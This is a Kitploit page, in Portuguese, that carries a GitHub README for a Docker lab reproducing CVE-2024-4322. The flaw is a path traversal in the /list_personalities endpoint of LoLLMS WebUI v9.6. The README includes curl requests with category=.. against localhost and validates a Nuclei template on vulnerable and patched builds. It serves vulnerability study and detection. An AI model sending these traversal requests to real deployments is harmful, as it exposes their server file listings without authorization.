Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
POC_CVE-2024-4322 — POC_CVE-2024-4322 | Kitploit
Ferramentas/GitHubGitHub/mj-bin/poc_cve-2024-4322
Análise de VulnerabilidadesExploraçãoSegurança WebCTFAprendizado e EducaçãoLabs e Prática
GitHubmj-bin/poc_cve-2024-4322

POC_CVE-2024-4322

POC_CVE-2024-4322

Ver Repositório
1há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-4322: PoC do LoLLMS WebUI & Laboratório de Validação com Nuclei

Este repositório fornece laboratórios locais com Docker para reproduzir a CVE-2024-4322, uma vulnerabilidade de path traversal no LoLLMS WebUI v9.6, e para validar que o template do Nuclei associado não corresponde ao LoLLMS WebUI v9.8.

Use este laboratório apenas contra alvos locais, próprios ou explicitamente autorizados.

Resumo da Vulnerabilidade

O endpoint /list_personalities no LoLLMS WebUI v9.6 é vulnerável a path traversal. O parâmetro category, controlado pelo usuário, é anexado ao personalities_zoo_path sem sanitização:

root@kitploit:~
personalities_dir = lollmsElfServer.lollms_paths.personalities_zoo_path/f'{category}'

Ao enviar category=.., a requisição pode escapar do diretório de personalidades pretendido e listar o conteúdo de um diretório pai.

Sinal esperado da vulnerabilidade:

root@kitploit:~
category=   -> []
category=.. -> response contains "personalities_zoo"

O comportamento corrigido na v9.8 rejeita a entrada de traversal antes da listagem de diretórios.

Baixar ferramenta

Matriz de Laboratórios

AmbienteVersãoServiçoURL do hostResultado esperado do template
Linux vulnerávelv9.6linux-vuln-serverhttp://127.0.0.1:9600correspondência
Linux corrigidov9.8linux-patched-serverhttp://127.0.0.1:9602sem correspondência
Windows vulnerávelv9.6windows-vuln-serverhttp://127.0.0.1:9601correspondência
Windows corrigidov9.8windows-patched-serverhttp://127.0.0.1:9603sem correspondência

Execute todos os comandos a partir do diretório que contém este README.

Laboratório Vulnerável Linux

1. Iniciar o Servidor

root@kitploit:~
docker compose up --build -d linux-vuln-server
docker compose logs -f linux-vuln-server

Aguarde até:

root@kitploit:~
Uvicorn running on http://0.0.0.0:9600

Pressione Ctrl-C para parar de seguir os logs. O contêiner continua em execução.

2. Verificar o Comportamento HTTP

root@kitploit:~
curl -sS 'http://127.0.0.1:9600/list_personalities?category=' | jq .
curl -sS 'http://127.0.0.1:9600/list_personalities?category=..' | jq .

Resultado esperado:

root@kitploit:~
[]
["personalities_zoo","extensions_zoo","bindings_zoo","models_zoo"]

A ordem pode variar. O sinal importante é que a resposta do traversal difere da resposta de controle e contém personalities_zoo.

3. Validar com Nuclei

root@kitploit:~
nuclei -duc -validate -t templates/CVE-2024-4322.yaml
nuclei -duc -u http://127.0.0.1:9600 -t templates/CVE-2024-4322.yaml -debug

Resultado esperado:

root@kitploit:~
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9600/list_personalities?category=..

Verificação do Nuclei no Linux vulnerável

Laboratório Linux Corrigido

1. Iniciar o Servidor

root@kitploit:~
docker compose --profile patched up --build -d linux-patched-server
docker compose --profile patched logs -f linux-patched-server

Aguarde até:

root@kitploit:~
Uvicorn running on http://0.0.0.0:9600

2. Verificar o Comportamento HTTP

root@kitploit:~
curl -i 'http://127.0.0.1:9602/list_personalities?category='
curl -i 'http://127.0.0.1:9602/list_personalities?category=..'

Resultado esperado:

root@kitploit:~
category=   -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}

3. Validar com Nuclei

root@kitploit:~
nuclei -duc -u http://127.0.0.1:9602 -t templates/CVE-2024-4322.yaml

Resultado esperado:

root@kitploit:~
[INF] Scan completed ... 0 matches found.

Verificação do Nuclei no Linux corrigido

Laboratório Vulnerável Windows

Isto requer o Docker Desktop no modo contêineres do Windows. Execute os comandos abaixo a partir deste diretório no PowerShell.

1. Iniciar o Servidor

root@kitploit:~
docker compose --profile windows up --build -d windows-vuln-server
docker compose --profile windows logs -f windows-vuln-server

Aguarde até:

root@kitploit:~
Uvicorn running on http://0.0.0.0:9600

2. Verificar o Comportamento HTTP

root@kitploit:~
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category="
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category=.."

Resultado esperado:

root@kitploit:~
[]
["bindings_zoo","extensions_zoo","models_zoo","personalities_zoo"]

A ordem pode variar. O sinal importante é que a resposta do traversal difere da resposta de controle e contém personalities_zoo.

3. Validar com Nuclei

root@kitploit:~
nuclei -duc -u http://127.0.0.1:9601 -t .\templates\CVE-2024-4322.yaml -debug

Resultado esperado:

root@kitploit:~
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9601/list_personalities?category=..

Verificação do Nuclei no Windows vulnerável

Laboratório Windows Corrigido

Isto requer o Docker Desktop no modo contêineres do Windows. Execute os comandos abaixo a partir deste diretório no PowerShell.

1. Iniciar o Servidor

root@kitploit:~
docker compose --profile windows up --build -d windows-patched-server
docker compose --profile windows logs -f windows-patched-server

Aguarde até:

root@kitploit:~
Uvicorn running on http://0.0.0.0:9600

2. Verificar o Comportamento HTTP

root@kitploit:~
curl.exe -i "http://127.0.0.1:9603/list_personalities?category="
curl.exe -i "http://127.0.0.1:9603/list_personalities?category=.."

Resultado esperado:

root@kitploit:~
category=   -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}

3. Validar com Nuclei

root@kitploit:~
nuclei -duc -u http://127.0.0.1:9603 -t .\templates\CVE-2024-4322.yaml

Resultado esperado:

root@kitploit:~
[INF] Scan completed ... 0 matches found.

Verificação do Nuclei no Windows corrigido

Limpeza

Contêineres Linux:

root@kitploit:~
docker compose --profile patched down --rmi local

Contêineres do Windows:

root@kitploit:~
docker compose --profile windows down

Requisitos

  • Docker e Docker Compose.
  • Docker Desktop no modo de contêineres do Windows para os laboratórios Windows.
  • curl.
  • jq para os exemplos HTTP do Linux vulnerável.
  • Nuclei para validação de templates.

Se o jq não estiver disponível no host Linux, use o contêiner do analista:

root@kitploit:~
docker compose --profile tools run --rm analyst sh
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=' | jq .
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=..' | jq .

Se o Nuclei não estiver instalado no Windows, baixe o binário da versão para Windows de https://github.com/projectdiscovery/nuclei/releases, descompacte-o e execute nuclei.exe diretamente do diretório extraído.

Notas sobre a Configuração do Laboratório

Os Dockerfiles corrigem os instaladores históricos durante o build para que o laboratório seja reproduzível hoje:

  • Os laboratórios vulneráveis clonam a tag v9.6 do lollms-webui.

  • Os laboratórios corrigidos clonam a tag v9.8 do lollms-webui.

  • A URL do submódulo lollms_core é reescrita para https://github.com/ParisNeo/lollms_legacy.git porque o histórico antigo do código foi movido para lá.

  • O pinning de versão é verificado em relação aos metadados Git upstream: v9.6 é e2f2d313cd6ea3fe81dfc4496f985f5b650853b9, e v9.8 é 8a8e3a1c386321f641a014bf8f7029512ccad411.

    root@kitploit:~
    git ls-remote --tags https://github.com/ParisNeo/lollms-webui.git refs/tags/v9.6 refs/tags/v9.8
    
  • Os commits correspondentes do submódulo lollms_core são cfb18f6f1091addf440347322441ab28005a2d3b para v9.6 e 6f45b1ca828e9f75ca3ed38aaf0d04d0f72a0a49 para v9.8, verificados com git ls-tree HEAD lollms_core em cada checkout de tag.

  • As opções auto_update e auto_sync_* são desabilitadas para manter cada laboratório fixado.

  • Arquivos de configuração headless são injetados para que o servidor possa iniciar sem prompts.

  • Dependências pesadas que não são necessárias para a validação do endpoint são ignoradas quando possível.

  • Os instaladores do Windows são corrigidos para criar seu diretório temporário e evitar submódulos recursivos obsoletos.

Justificativa do Patch

A invariante quebrada é:

root@kitploit:~
resolved path must stay inside the personalities directory

LoLLMS WebUI v9.8 e versões posteriores resolvem o problema sanitizando ou restringindo o caminho do parâmetro category antes que ele chegue à lógica de listagem de diretórios do sistema de arquivos. Para implantações reais, atualize o LoLLMS WebUI para a versão 9.8 ou posterior.